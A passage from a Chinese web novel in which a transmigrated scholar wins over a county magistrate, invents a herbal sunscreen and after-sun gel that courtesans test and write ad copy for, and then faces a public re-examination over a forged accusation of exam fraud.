《想苟着养老,你们偏逼我科举题名》
第五十一章 威震县衙
林家内部清理门户,被林闲以雷霆手段控制在家族内解决。
但其引发的余震,依旧扩散到县域内的官场圈。
尤其是知府衙门的官差直接上门拿人,虽然罪名含糊,但“勾结外匪”、“意图诬告”这等敏感字眼,还是像长了翅膀一样,在消息灵通的胥吏阶层中飞速传播。
所有人都意识到,林家变天了!
而那位新上位的三房林闲,手段之狠辣、背景之深厚远超想象!
这一日林闲处理完族中积压事务,乘坐一辆新购置的青篷马车,前往县衙拜会周知县。
他如今的身份早已今非昔比:不仅是新鲜出炉的府试双案首、板上钉钉的秀才相公,更是实际掌控林家族权的“无冕之王”,尤其还是知府李大人眼前的红人。
这几重光环叠加,让他即便只是平静地走在街上,也自带一股不怒自威的气场。
马车刚在县衙门口停稳。
还没等林闲弯腰下车,守门的衙役眼尖,一眼就认出了这辆车的主人。
只见那班头脸上瞬间堆起菊花般的笑,几乎是连滚爬爬迎了上来。他腰弯得极低,声音带着前所未有的恭敬:
“哎呦喂!是闲先生!闲先生大驾光临,小的有失远迎,恕罪恕罪!”
班头一边说一边想伸手扶林闲,可又怕唐突了:“快请进!县老爷早有吩咐,您来了无需通传,直接请进后堂花厅用茶!”
这待遇,比起几个月前简直是天壤之别。
林闲心中暗爽,表面却只是云淡风轻颔首,道了声“有劳”,便迈步踏入县衙大门。
他这一脚刚跨过高高的门槛,更令人咋舌的一幕出现了。
只见县令周知县,竟已闻讯从二堂快步迎出来。官袍的下摆都微微掀起,脸上洋溢着笑,远远便拱手高声道:
“我的好闲兄!你可算是想起老弟,肯移驾到这小小县衙了!几日不见,为兄可是挂念得紧啊!”
这语气之亲热,姿态之谦卑,仿佛来的不是他治下的一个秀才,而是上官派来的巡按大人!
这一幕如定格画面,深深烙印在县衙内所有胥吏、衙役的眼中。
那些原本还在窃窃私语、猜测林闲究竟多大能量的家伙,此刻全都噤若寒蝉。
他们纷纷放下手中的文书、杀威棒,躬身垂首连大气都不敢喘,眼神里充满了难以言喻的敬畏。这位闲先生,当真是手眼通天!
林闲面对周知县超标的迎接从容不迫,拱手还礼笑容温和:“县尊大人言重了。林某区区一秀才,怎敢劳烦大人亲迎?”
“哎!闲兄此言差矣!以你之能秀才功名不过是起步,他日必定鹏程**。你我之间,何须如此客套!”
周知县亲热拉着林闲的手臂,一路将他引入后堂花厅。
分宾主落座,俏婢奉上香茗。
周知县竟亲自执起茶壶,为林闲斟茶,然后才感慨万千地说道:“闲兄啊,不瞒你说,贵府前几日那场风波,为兄已有耳闻。那林耀祖真是利令智昏,猪油蒙了心!竟敢勾结外匪,行此大逆不道、诬陷上官之事,真是死有余辜,死不足惜!”
他顿了顿,语气带着后怕和庆幸:“幸得闲兄你明察秋毫,洞悉奸谋,更是果断处置,快刀斩乱麻!这才未酿成泼天大祸,既保全了林氏一族的清誉,也免去了我县一场无妄之灾啊!否则若真让那蠢货闹将起来,上面追查下来,我这失察之责怕是跑不掉了……说起来,为兄还要多谢闲兄你才是!”
这番话,既是发自内心的恭维,也是实实在在的后怕。
林闲端起茶杯,轻轻吹了吹浮沫。
他谦和一笑,语气风轻云淡:“县尊大人过誉了。不过是家族内部出了败类,依族规清理门户而已,实在不足挂齿。至于未酿成大祸,全赖府尊大人明镜高悬,洞察秋毫,才未使宵小之辈的奸计得逞。”
林闲轻描淡写,将功劳大头推给了
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顶头上司知府李大人,既显谦逊又巧妙点明了自己背后坚实的靠山,这逼装得于无声处听惊雷。
周知县是何等精明之人,他立刻心领神会连连点头称是。
心中对林闲的评价,更是火箭般蹿升:此子不仅手段厉害,更深谙为官之道!做事狠辣,却懂得收敛锋芒,不居功不傲物,将来前途不可限量!必须紧紧抱住这条大腿!
于是,周知县的态度愈发恭敬,言语间甚至带上了几分下级对上级的请教意味,主动与林闲商讨起县内正在推行的漕粮折银试点的具体细则和可能遇到的阻力。
此刻他俨然将林闲视作了可以平起平坐、甚至更高明的智囊和盟友。
林闲也不藏私,结合前世的历史经验和这一世的细致观察,侃侃而谈。
从如何平衡粮户与官府的利益,到如何防止胥吏从中盘剥,再到如何利用香皂作坊的成功经验引导民间资本……
他提出的建议每每切中要害,角度新颖操作性强,听得周知县是两眼放光,茅塞顿开,忍不住连连拍案叫绝!
“妙啊!闲兄此计大妙!如此一来,既可完成上峰交代的折银任务,又能安抚地方大户,更能惠及小民!真乃老成谋国之言!”周知县兴奋得脸色通红,看向林闲的眼神简直像是在看一个行走的政绩宝库。
不知不觉,窗外天色已晚。
周知县谈兴正浓,哪里肯放林闲走?他兴致高昂地吩咐下人:“快!备下酒宴!今日我要与闲兄把酒言欢,畅谈通宵!不醉不归!”
酒过三巡,菜过五味。
周知县已是满面红光,拉着林闲的手推心置腹说:“闲兄,以你之才,屈居乡野实在是明珠蒙尘!待明年乡试高中,为兄定要力荐你出仕!届时,你我兄弟同心,何愁不能做出一番事业!”
林闲笑着举杯,心中暗道:这县衙,以后大概可以横着走了。不过,这区区一个县,终究还是小了点。
第五十二章 夜饮灵光:研发防晒霜
夜色渐深。
县衙后堂内却灯火通明,气氛正酣。
周知县与林闲推杯换盏,两人从漕运折银的利弊,聊到今年春蚕的收成,再到府城最近流行的发式。
关系在酒精的催化下显得亲密无间,俨然一对忘年交。
酒酣耳热之际,周知县似是想起了什么烦心事。
他放下酒杯,长长地叹了口气。
原本红光满面的脸上,露出一丝无奈和心疼。
“说起来,真是让闲兄见笑了。”
周知县揉了揉发胀的眉心:“这几日家中后宅颇不太平,搅得我处理公务都难以静心。”
林闲见状放下筷子,面露关切地问:“哦?县尊家中有何烦忧,若方便,不妨说来听听,或许林某能帮着参详一二?”
周知县又无奈又心疼摇头:“前几日天气晴好,我家三房非要去城外慈云寺上香还愿,说是求个心安。结果那日头毒得很,偏偏她乘坐的那辆马车帷幔年久失修,有道缝隙没留意。回来时倒好,脸颊、脖颈、还有露在外面的小臂,竟被晒得通红一片,火辣辣的疼!没过几个时辰,就起了密密麻麻的小疹子,难受得紧!”
他灌了口酒,越说越气:“这几日她是躲在房里谁也不肯见,以泪洗面,说是容颜尽毁没脸见人了。我请了城里最好的郎中,开了好几副清热解毒、润肤止痒的药膏,可抹上去效果甚微,她还是整日哭哭啼啼,搅得后宅鸡犬不宁,连带着我那正房夫人也跟着心烦。女人家的事,比断一桩官司还难!”
林闲闻言,心中猛地一动!
晒伤!
这可是个古今通用的痛点啊!
这个时代的女子,即便出门戴帷帽、撑伞,但夏日炎炎总有防护不周之时。
尤其是乘坐马车,车窗帷幔难免有疏漏。
一旦晒伤,多半只能用些土方子或者清凉的草药膏缓解,而且很容易留下色素沉淀甚至疤痕。对于视容颜如生命的女性来说,简直是灾难性的打击。
他脑海中瞬间如同打开了搜索引擎,前世关于防晒和护肤的海量信息汹涌而来:防晒霜!SPF/PA值,物理防晒与化学防晒的区别,芦荟胶、积雪草、神经酰胺、舒缓镇定、补水保湿……
这背后是一个何等巨大的蓝海市场!
尤其是针对那些有钱有闲、极度注重保养的贵妇、小姐群体。这简直是“闲雅阁”从日用清洁(香皂)到功能护肤(香薰)再到专业美容(防晒修复)的战略性跨越契机!
“**!这可是千亿级市场的入口啊!周知县这小妾,简直是天赐的产品体验官兼首席痛点提供师!”
林闲内心狂喜,但表面却不动声色。
他甚至微微蹙起眉头,露出一副感同身受的表情。
“晒伤之事,确实棘手。”
林闲顺着话头,故作沉吟。
他手指轻轻敲着桌面,仿佛在深思熟虑:“日光之毒,不仅在于灼伤肌肤表层带来痛痒,更在于其能深入肌理损伤根本,导致肤色暗沉纹理粗糙,加速容颜之衰败。寻常药膏多为事后补救,且往往治标不治本,难挽狂澜于既倒啊。”
他这番文绉绉又带着点专业术语的分析,立刻说到了周知县的心坎里。
周知县一拍大腿,激动道:“正是如此!闲兄真是一语中的!柳氏如今最怕的,就是留下疤痕或脸色变黑!这可真是要了她半条命,也去了我半条命!闲兄你素来奇思妙想层出不穷,可有良策应对?”
他现在看林闲的眼神,简直像是在看救星。
林闲见火候已到,这才微微一笑。
他端起酒杯,轻抿了一口,用一种举重若轻的语气道:
“良策不敢当,不过是些基于‘格物’之理的粗浅想法。县尊可知,为何同样日晒,有人易伤有人却无碍?除了个人体质,或许与肌肤表面是否有一层保护有关。或许……我们可以尝试研制一种特制的膏脂。”
他放下酒杯,用手指蘸了点茶水,在桌上画着简单的示意图:“此膏脂可于日常出门前,均匀涂抹于面、颈、手臂等暴露之处。其妙处在于,能在肌肤表面形
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成一层微不可察的薄膜,如同给肌肤穿上无形纱衣,可有效阻隔、减弱部分日光之毒烈,此谓‘防患于未然’。”
周知县听得眼睛瞪得像铜铃,呼吸都急促起来:“竟有此法?闲兄请继续!”
林闲继续侃侃而谈:“若是不幸已然晒伤,亦无需过分担忧。我们可再研制另一种膏体,精选具有极强舒缓、镇静、修复功效的草木精华入药。重点在于及时安抚受损肌肤,补充流失之水份,促进其自我修复,力求最大限度减轻损伤,避免留下痕迹。此二物一防一治,若能制成或可解夫人眼下之忧,长远来看亦能惠及天下众多有此困扰之女子,使她们免受烈日灼肤之苦。”
周知县听得是心花怒放,激动得差点站起来:“妙啊!妙极!闲兄真乃天人也!此等巧思,闻所未闻,简直是点石成金!这哪里是粗浅想法,这分明是造福苍生、尤其是造福天下女子的千秋功业啊!需要什么珍稀药材、特殊物料,闲兄你尽管开口!本官……不,为兄我倾家荡产也给你弄来!全力支持!”
林闲被周知县的夸张反应逗乐了,拱手笑道:“县尊大人言重了,谬赞了。此事说来简单,做来却需反复试验,摸索最佳配方和工艺,急不得。林某回去后便立刻着手尝试,一旦有所进展,定当第一时间禀告县尊,让尊夫人先行试用,效果如何,还需实践检验。”
“好!好!太好了!”周知县大喜过望,仿佛已经看到了爱妾破涕为笑的样子,举起酒杯,“静候闲兄佳音!来,为兄再敬你一杯,预祝闲兄再创奇迹!”
“干杯!”
一场原本寻常的官场联络感情的夜饮,竟意外成了又一个爆款产品的创意诞生契机。
林闲带着微醺的酒意、一个价值连城的脑洞和一位县令大人的全力支持,志得意满地离开了县衙。
他知道“闲雅阁”商业帝国,又将添上一块厚重的基石。
而他在本县乃至整个关系网中的分量,也随着这次看似随意的谈话,变得更加举足轻重。
第五十三章 格物致知:研发防晒霜
夜饮归来,林闲虽带着几分微醺。
但大脑却异常清醒,充满了对“防晒霜”这个全新领域的探索激情。
林闲深知在护肤理念尚停留在“胭脂水粉、珍珠白玉”层面的时代,要搞出真正有效的防晒和修复产品,绝不能生搬硬套前世记忆。
他必须创新手段,走结合本土材料与超前理念的创新之路。
第一步:理论武装,降维打击
书房内,烛火通明。
林闲铺开宣纸,开始进行理论推演。他当然没法跟这个时代的人解释UVA、UVB、自由基这些概念,但他抓住了问题的核心本质:
“防晒,核心在于隔离与防护。修复,关键在于舒缓与再生。如战后重建要安抚伤员补充粮草,促进愈合。”
他提笔在纸上写下几个关键词:【成膜隔离】、【清凉镇静】、【保湿修复】。
有了这个清晰的理论框架,接下来的材料筛选就有了方向。
第二步:材料筛选,就地取材玩出花
林闲化身“材料学家”,一头扎进了药铺、香铺和自家的小实验室。
基底部分,他首先排除常用的厚重动物油脂(如猪油、鹅油),太腻糊脸上跟戴面具似的,用户体验太差!
他选择了更为清爽、亲肤性更好的杏仁油作为基础油。甚至通过商队关系,搞到了少量来自西域的“神油”——霍霍巴油。
这玩意儿稳定性好,肤感绝佳,简直是天然护肤圣品。
最关键的一步来了——成膜!
如何实现物理隔离?
林闲将目光投向了大自然的馈赠:蜂蜡和木蜡。
他尝试将蜂蜡和木蜡按不同比例加热融化,再与基础油混合。
经过无数次失败,终于找到了一个黄金配比:冷却后能在皮肤表面形成一层极薄、透气且几乎感觉不到的保护膜,有效阻隔外界刺激,同时又不会堵塞毛孔。
接下来,是赋予产品灵魂的功效成分。
林闲充分发挥“药食同源”和“中医智慧”,开始疯狂筛选:
他首先绿豆粉,因为这玩意能磨得比面粉还细,同时清热解暑,自带清凉buff,还能吸附多余油脂控油哑光。
然后是甘草提取液,这味药是中药里的和事佬,清热解毒抗过敏,舒缓镇静一把好手,晒后红脸就靠它安抚!
至于现代常用的芦荟汁,这可费了林闲不少劲!好不容易托人找到几盆当观赏植物的芦荟,他小心翼翼取汁。这属于前世晒后修复神器,保湿修复能力杠杠的,必须安排上。
辅料林闲还是决定主用绿茶提取液,用上等绿茶反复熬煮浓缩,富含茶多酚,抗氧化,抵御光老化,虽然古人不懂,但效果是实打实的!同时玫瑰精油、茉莉精油自然不能少,负责提供高级香气和辅助护肤。
第三步:工艺摸索,实验室里的魔法时刻
理论有了材料齐了,最难的一关来了——如何把它们变成稳定、细腻、好用的膏体?
这个过程远比制作香皂复杂得多,简直就是一场化学实验。
接下来的几天,林闲的小院时常飘出古怪的气味,他本人也经常是脸上、手上沾着各种颜色的膏体,活像个搞行为艺术的。
经历了无数次油是油、水是水的分离**、颗粒粗糙堪比磨砂膏的失败品、以及硬得像砖头根本抹不开的奇葩产物后……
终于在一个月明星稀的夜晚。
经过反复调整加热顺序
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、搅拌速度和冷却曲线,林闲采用了一种类似“热制乳化后缓慢冷却并持续搅拌”的土法,成功制出了质地均匀、细腻丝滑的膏体!
“成功了!老子是个天才!”
林闲看着坩埚里那淡绿色、散发着清雅植物香气的膏体,激动得差点老泪纵横。
几日后,第一代【闲雅阁·玉容防晒霜】和配套的【雪肌修复凝露】终于宣告试制成功!
第一款【玉容防晒霜】:膏体呈淡雅的绿豆沙色(绿豆粉和绿茶汁功劳),质地轻盈,涂抹后清爽不油腻,有轻微的润色提亮效果,还带着一股淡淡的草木清香。
第二款【雪肌修复凝露】:透明啫喱状,主要成分是芦荟和甘草提取物,触感冰凉,一抹化水,吸收极快。
安全性测试,自然先在自家人身上做。
林闲拉过儿媳妇王氏,在她手臂内侧做了小块皮肤测试。
确认无红肿过敏反应后,才进行了效果验证。
结果令人惊喜!
涂抹了防晒霜的部位,在午后毒辣日头下暴晒半个时辰,只有轻微发热,肤色基本无变化。
而未涂抹的地方早已通红一片,火辣辣地疼!
而修复凝露对轻微晒伤的红肿,涂抹后不到一炷香时间,灼痛感就明显减轻,清凉舒适。
“爹!真的成功了!”
王氏惊喜叫道,看着林闲的眼神充满了崇拜。
林闲看着那几罐晶莹剔透的样品,心中充满了巨大的成就感和快感。
这不仅是产品的成功,更是他运用超越时代的知识体系,在这个世界“格物致知”、解决实际问题的又一次辉煌胜利!
这波高端贵妇圈的口碑营销,预计是稳了……
第五十四章 秦淮试玉:金牌文案的诞生
产品初成。
但林闲深知,实验室的成功只是第一步,真正的考验在于市场。
他需要更广泛、更真实的测试和反馈。
而目标用户,必须是对护肤有高要求、且能提供有价值意见的群体。
他第一时间就想到了苏元和她的“听雪小筑”。这里的歌女大家们,时常需要户外游船表演踏青赴宴,对防晒修复有着天然且强烈的需求。
更重要的是她们身处时尚潮流前沿,接触三教九流,审美在线,反馈必然客观、多元且一针见血。
他精心准备了几份升级版(根据儿媳反馈微调后)的防晒霜和修复凝露样品,用定制的甜白釉小瓷盒分装,显得格外精致典雅,再次来到了那片幽静的院落。
苏元见到林闲来访,眼眸中瞬间掠过一丝明亮。
听闻林闲又研制出了新奇物件,而且还是专门针对女子护肤的“防晒修复”系列,她大感好奇之余同时也隐隐猜到林闲的来意。
林闲将小巧的锦盒奉上,语气轻松中带着一丝探讨:“苏小姐,又来叨扰了。近日偶有所得,捣鼓出两样小玩意儿,一名玉容防晒霜,日常出门前涂抹或可减轻日光灼伤,延缓肌肤老化;另一瓶是雪肌修复凝露,若不慎晒伤,涂抹后可舒缓镇痛促进恢复。想着听雪小筑的姐妹们时常需要抛头露面风吹日晒,便想请苏小姐帮忙,分给她们试用看看实际效果如何,有何不便之处也好让我这闭门造车之物,更贴合实用。”
苏元接过锦盒,轻轻打开。
只见那防晒霜膏体细腻如玉,呈淡雅的浅绿色,气味是清新的草木香,而非寻常香粉的甜腻。
修复凝露更是晶莹剔透,如同琥珀。
她伸出纤指,蘸取少许防晒霜,在手背轻轻晕开,只觉触感丝滑清凉滋润,却毫无油腻之感。
她美眸流转,真心赞道:“先生心思真是玲珑巧妙,此物触感细腻温润气息清雅,与市面上那些厚重香膏截然不同,单是这使用之感,便已胜出许多。”
她冰雪聪明,立刻明白了林闲此举的多重含义——这既是请她帮忙进行专业的“用户体验调研”,也是借她之手在高端女性圈层中进行初步的口碑预热。
更深一层,这何尝不是一种信任与亲近的表示?
想到自己之前因未能帮上大忙而生的那点微妙失落,此刻顿时被一种被需要、被信赖的暖意所取代。
“先生放心,此事包在元儿身上。”
苏元盈盈一笑,当即唤来几名心腹歌女,将样品分派下去,并亲自示范用法讲解要点,还特意嘱咐她们要细致记录每日使用后的感受。
无论是优点还是不足,都要如实相告。
那认真的架势,俨然一位严谨的产品经理。
几天后,反馈如同雪片般汇集到苏元这里。
歌女们对此等新奇又实用的宝贝表现出了极大的热情,反馈也极其具体:
“小姐!这防晒霜真是神了!前日我们去秦淮河画舫上表演,日头那个毒啊!我涂了的脸和脖颈清清爽爽,一点事没有,可忘了涂的手背都晒红了!对比鲜明得紧!”(效果显著,有手有真相)
“是啊是啊,而且这香气清淡宜人,不像有些香粉熏得人头昏。就是……有个小问题,若是跳得一身汗,脸上会觉得有点黏糊,得用帕子轻轻按掉再补涂才好。”(指出持妆力和防水抗汗性的不足)
“修复凝露才叫神奇呢!我前几日陪客人游园不小心晒红了,晚上回来厚厚涂了一层,那清凉劲儿,别提多舒服了!第二天一早,红晕就消了大半!也不痒不痛了!”(晒后修复效果立竿见影)
“东西是极好的,就是这瓷盒虽雅致,但带出门补涂还是有些不便,若能再小巧精致些,像胭脂盒那般便于随身携带,就完美了……”(对包装便携性提出优化建议)
苏元并未止步于简单的信息汇总。
她将这些真实、细致甚至带有场景描述的反馈一一记录下来,并结合自己的使用感受,亲自整理润色,撰写成了一份条理清晰、字迹娟秀的“听雪小筑玉容系列试用反馈报告”。
报告中不仅罗列了优点和不足,甚至还附上了一些基于她们生活场景的改进设想。
更
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绝的是,苏元看着眼前这些好评如潮的反馈,突然文思泉涌。
她竟提笔在报告末尾,额外附上了一页笺纸,上面用她清丽的行书写下了几句广告词:
“闲雅阁·玉容防晒霜:
日色如金,亦如刃。玉霜薄覆,无惧光阴。揽镜自顾,岁月静好。”
“闲雅阁·雪肌修复凝露:
灼日留痕,冰肌自愈。一抹清凉,抚平焦躁。夜夜修护,明肌胜雪。”
最后还加了一句总括:“闲雅出品,必属精品。呵护如玉肌肤,定格似水年华。”
她将这封堪称古代版“专业用户体验报告+金牌广告文案”的锦囊,连同样品余件一起派人送给林闲。
林闲收到这份超乎预期的“大礼包”时,简直是如获至宝!
他先是惊叹于苏元梳理反馈的专业和细致,这简直就是市场调研的范本。
而当看到那几句文采斐然、直击痛点的广告词时,他更是拍案叫绝!
“苏元简直是天才!这文案水平,放在前世绝对是4A公司的创意总监!无惧光阴、定格年华,这概念提炼得太精准,直接拔高了产品格调!这哪是用户体验调研,这简直是送了我一个全方位的市场营销解决方案啊!”
林闲内心狂喜,对苏元的欣赏和佩服更是达到了一个新高度。
他立刻根据这些宝贵的反馈,着手改进配方,尝试加入更轻薄的油脂提高肤感,研究如何增强防水性。
同时设计更小巧便携的包装,比如定制迷你款胭脂盒式样。
通过这次成功的“合作”,他与苏元之间那种默契与信任又加深了一层。
苏元也通过此事,更加深刻地感受到了林闲那份不仅限于诗词文章的创造力与务实精神,以及他对自己的信任。
心中那份悄然滋长的情愫,在共同事业的催化下,变得愈发清晰和坚定。
“闲雅阁”的防晒修复系列,在秦淮河畔这群最挑剔、最时尚的“首席体验官”那里,获得了压倒性的好评。
这也为即将到来的正式上市,打下了坚实的基础……
第五十五章 惊变:御状风波
林闲将精心改进后的“玉容防晒霜”和“雪肌修复凝露”精装版,亲自送到了周知县府上。
周知县的宠妾柳氏试用后,效果堪称神奇。
不仅困扰多日的晒伤红肿迅速消退,肌肤反而因得到滋润更显光洁。
周知县见后宅重归安宁,爱妾笑逐颜开,对林闲的感激之情更是溢于言表。特意设下丰盛家宴款待,两人关系热络得如异姓兄弟。
宴席之上,宾主尽欢。
从防晒霜的护肤妙用,聊到县内漕运改革的顺利推进,周知县心情大好。
几杯美酒下肚,他甚至半是玩笑半认真拍着林闲的肩膀感叹:“闲兄!以你之才,治理一县简直是绰绰有余。说句掏心窝子的话,你若肯点头出仕,我这知县之位让与你来坐,只怕更能造福一方百姓啊!”
虽是酒后戏言,却也足见其对林闲能力推崇到了何种地步。
林闲闻言,举杯谦逊一笑:“县尊大人说笑了。林某一介书生偶有些奇思怪想,于民生经济或可建言一二,但真要坐堂断案牧民一方,还需县尊这等老成持重之辈。林某还是更适合做个逍遥闲人,搞点小发明,赚点小钱,顺便帮县尊出出主意。”
他内心暗自好笑:“当县令?007还要背锅,哪有当幕后大佬和科技巨头舒服?”
正当气氛融洽酒意酣畅之际,周知县的心腹师爷却脸色凝重、脚步匆匆地走了进来。
他顾不得礼数,直接附在周知县耳边低语了几句,同时递上一封盖着特殊火漆印的信件。
周知县原本带着醺然笑意的脸,在目光触及信笺的标记时瞬间僵住。他酒意醒了大半,随后告罪一声拆开信件速读起来。
随着目光在字句上移动,周知县的脸色如同调色盘般急剧变化。从红润转为煞白,拿着信纸的手不受控制地微微颤抖起来。额角甚至渗出了细密的冷汗,仿佛一瞬间从春日跌入了数九寒天。
林闲见状,心知必定有惊天动地的大事发生。
他放下酒杯,神色关切问道:“县尊,何事如此惊慌?但说无妨。”
周知县仿佛才从震惊中回过神,深吸了好几口气,才勉强压下心中的惊涛骇浪。他将信件递给林闲,声音干涩得如同砂纸摩擦:“闲兄……你……你自己看吧。祸事……天大的祸事,来了!”
林闲接过信,目光沉静地快速浏览。
信是知府李大人动用渠道送来的密报,内容堪称石破天惊:
那个本该躺在床上苟延残喘的林富贵,竟在临死前散尽了长房最后的所有积蓄,通过一条极其隐秘的渠道,买通了一名因老病即将卸任、却有机会面圣述职的退职官员!
他请这名老官携带一份以**写的、控诉林闲科举舞弊的“御状”,直递天听!
状子上罗列的罪名极其恶毒:声称林闲的府试案首功名,是通过巨额贿赂考官(影射周知县乃至学政)、勾结权贵(直指知府李大人)**所得,是欺世盗名、败坏科举纲纪的惊天丑闻!
更可怕的是这份状子不知用了什么手段,竟然绕过了所有常规的通政司渠道,疑似直达御前!
万幸的是,在状子递送的关键环节,似乎被太子安插的人偶然截获了风声。
太子闻讯大惊失色,深知此事若在此时爆开,不仅林闲立刻人头落地,更会牵连周知县、学政、李知府等一大串官员,成为赵王派系攻讦太子系的致命利器。
太子当机立断,动用力量将这状子暂时压了下来,没有立即呈送给皇帝。
然而危机并未解除。
不知是赵王那边早就埋有暗线得到了风声故意散播,还是京城官场本就无秘可言,此事的风声竟然传到了正在微服私访的皇帝耳中!
皇帝听闻府试爆出如此恶劣的舞弊丑闻,顿时龙颜大怒。
但当今圣上心思深沉,并未立刻拿下相关人等,而是下了一道极其严厉的密旨:派遣钦差御史火速前往该府,会同原主考官学政周大人,在府学明伦堂前对府试案首林闲进行一场“复核面试”!
题目由御史与学政现场商议拟定,林闲当场作答,当场评判。若林闲真有真才实学便还其清白,严惩诬告者。若证实是舞弊,则所有涉案人员从上到下严惩不贷!
这已不是简单的学术考核,而是一场决定无数人前程乃至性命的“御前公审”。
气氛之紧张,压力之巨大,可想而知!
林闲看完密信,瞳孔也是微微一缩!
他确实没想到,林富贵这条濒死的毒蛇,临死反扑竟如此疯狂狠辣,使出了这等同归于尽的招数。更没想到,此事会层层升级最终惊动九五之尊,引来了如此雷霆万钧的考验!<
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br>周知县已是面无人色,声音带着哭腔:“闲兄……这、这可如何是好啊?!钦差御史不日便将抵达!此事若稍有差池,你我的项上人头……还有李大人、学政大人……都将不保啊!”他仿佛已经看到了自己被革职查办、抄家流放的凄惨下场。
与周知县的惊慌失措形成鲜明对比的是,林闲在最初的震惊之后迅速恢复了冷静。
他沉默片刻,眼中锐利的光一闪而过,嘴角勾起一抹带着嘲讽的笑容。
“好一个林富贵!真是我的好族长!临死还要用全副身家给我送来这么一份大礼,想拉我垫背?”
林闲缓缓放下密信,摇头道:“可惜啊可惜,他打错了算盘,选错了对手!”
他转向几乎要瘫软的周知县,语气带着一种奇异的安抚力量:“县尊大人,不必过于忧虑,自乱阵脚。陛下圣明烛照,既然未听信一面之词直接定罪,而是给了我们一个当众复核、辩白的机会,这本身就说明陛下是要查明真相,而非一味偏听偏信。既如此咱们接着便是!这不仅是危机,更是契机!”
“可是……闲兄!那可是御史出题,众目睽睽之下,稍有失误……”周知县仍是心有余悸,冷汗直流。
“无妨!”
林闲霍然起身,负手而立。
一股强大而自信的气场散发出来,瞬间笼罩整个房间。
“真金不怕火炼,浊水越澄越清。林某胸中所学,货真价实,乃五十年寒窗苦读融会贯通而来,何惧这等公开考验?他林富贵想用一道御状将我打入万劫不复之地,我林闲偏要借这次陛下亲设的‘御前公审’擂台,让天下人看看什么是真正的实力!让全城士绅、让钦差御史、让这朗朗乾坤都看清楚,我林闲的功名,是一字一句凭本事挣来的!我要让他这恶毒的诬告,成为我名动江南、直上青云的最好垫脚石!”
这一刻,林闲身上迸发出的那种睥睨天下的强者气势,深深震撼了周知县。
他看着眼前这个仿佛褪去了所有平凡外衣、只剩下灼灼锋芒的“老秀才”,心中只剩下一个念头在疯狂回荡:
“押对宝了!绝对是押对宝了!此子绝非池中之物,乃潜龙在渊!这次危机,说不定真能被他扭转成震惊天下的亮相!”
周知县原本慌乱的心,竟莫名安定了几分……
第五十六章 山雨欲来:明伦堂前
皇帝密旨如同一道无声的惊雷,在府城最高层的极小范围内炸开。
知府李大人、学政周大人在接到通知的瞬间,后背都被冷汗浸湿了。
整个府衙高层,往日里或威严或从容的官员们,此刻都笼罩在一片山雨欲来的紧张之中。
尽管消息被下了最严厉的封口令,但府城顶级的官场和士绅圈子,哪个不是人精中的人精?
从几位大佬骤然闭门谢客、行色匆匆的举止中,他们敏锐地嗅到了非同寻常的味道,各种猜测和流言在私底下悄然疯传。
三日后,钦差御史吴大人秘密抵达府城。
没有惊动任何地方迎接仪式,直接入住驿馆,与早已等候在那里的学政闭门商议了整整一夜。
烛火摇曳间,无人知晓这两位决定无数人命运的大人物究竟谈了些什么。只知道翌日清晨两人走出房间时,眼神中都带着一丝疲惫和决然。
紧接着,一道盖着知府衙门和学政衙门双大印的告示,以最快的速度贴遍府城,内容堪称石破天惊:
【奉上谕,为彰科举公正,明辨贤愚,特于三日之后,巳时正,在府学明伦堂前广场,对甲辰年府试案首林闲进行公开复核!由钦差御史吴大人、学政周大人共同主持,现场命题现场作答当众评判!允许士子百姓旁观,以昭公允!】
这则告示,像一块巨石投入平静的湖面,瞬间激起了千层巨浪!整个府城彻底炸锅了!
“公开复核?钦差御史亲自主持?还允许围观?我的老天爷!这是要干什么?”
“这哪是复核?这分明是公审!是御前对质啊!林案首这下麻烦大了!”
“我就说嘛!他一个老童生,怎么可能突然开窍连中案首?这里面肯定有鬼!现在报应来了吧!”
“放**狗屁!林先生那是大器晚成,厚积薄发!定是有小人眼红诬告!”
“告御状!听说是有人直接告了御状!捅破天了!连皇上都惊动了!”
“完了完了,这下不仅林闲要完蛋,怕是周知县、李知府都要被牵连进去!”
“啧啧,三日后,府学明伦堂,有好戏看咯!”
一时间,街头巷尾茶楼酒肆,所有人都在议论这件事。
幸灾乐祸者有之,担忧祈祷者有之,纯粹看热闹不嫌事大者更有之。
林闲这个名字,成为了全城绝对的焦点。
林家三房内部,更是人心惶惶,如临末日。
儿媳妇王氏急得直掉眼泪,儿子林承宗也是坐立不安。
唯有风暴中心的林闲,依旧跟个没事人一样。该吃饭吃饭,该睡觉睡觉,兴致来了还去香皂作坊转转,看看新一批防晒霜的灌装情况,或者去城外的坡地花田溜达一圈,检查一下薰衣草和玫瑰的长势,仿佛三天后要去“赴死”的不是他。
“慌什么?多大点事儿。”
林闲甚至还有心情安慰家人:“慌什么?不就是一场公开答辩嘛?”
他内心吐槽:“前世老子也经历过毕业答辩、项目评审、甲方爸爸连环夺命call的人,啥场面没见过?正好趁这个机会,给闲雅阁打个免费的全城广告!”
苏元在听雪小筑听到这个消息后心急如焚,立刻派心腹侍女送来密信。
信中字里行间充满了担忧,并急切询问是否需要她动用太子系在京城的力量设法影响那位吴御史,哪怕只是让题目简单一些也好。
林闲看完信,心中暖流涌动。
但回信却极其简短,只有龙飞凤舞的八个字:
“静观其变,吾自有度。”
语气平静得近乎霸道,透着一股不容置疑的强大自信。
苏元收到回信,反复看了几遍,焦灼的心竟奇异安定了几分。
但那份深切的担忧,却丝毫未减。
他……到底有何倚仗?
三天时间,在全城焦灼的等待和议论中,转瞬即逝。
复核之日,终于到来!
这一天,天色刚蒙蒙亮,府学宫明伦堂前的巨大广场已是人山人海万头攒动,比府试放榜那天还要热闹十倍!
这里不仅有全城的秀才、童生,还有无数好奇的百姓、各色商贩,以及那些平日里难得一见的士绅名流、官员家眷,甚至还有一些明显是外地赶来打探消息的各路眼线……
所有人都想亲眼见证这注定要载入府志(甚至可能是野史)的一幕!
周知县、李知府等本地官员早已到场,按照品级坐在一旁预设的席位上,一个个面色肃穆,眼神复杂,内心想必是波涛汹涌。
广场中央,早已设下了一张宽大的书案。
上面文房四宝俱全,旁边还有一张给考生准备的座椅。
辰时三刻,锣声清越,连响三声!
全场瞬间鸦雀无声,落针可闻!
所有人的目光,都齐刷刷地投向明伦堂的高台入口。
只见钦差御史吴大人与学政周大人,身着庄严的绯色官袍,神情肃穆缓步登上高台。
主座上的吴御史面容
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清癯,目光如鹰隼般锐利。扫视全场时,自带一股不怒自威的压迫感。
学政周大人则面色凝重,眼神中带着一丝不易察觉的忧虑。
就在这时,人群自动分开一条通道。
只见林闲穿着一身浆洗得干干净净的青色秀才襕衫,从容不迫地步入场中。
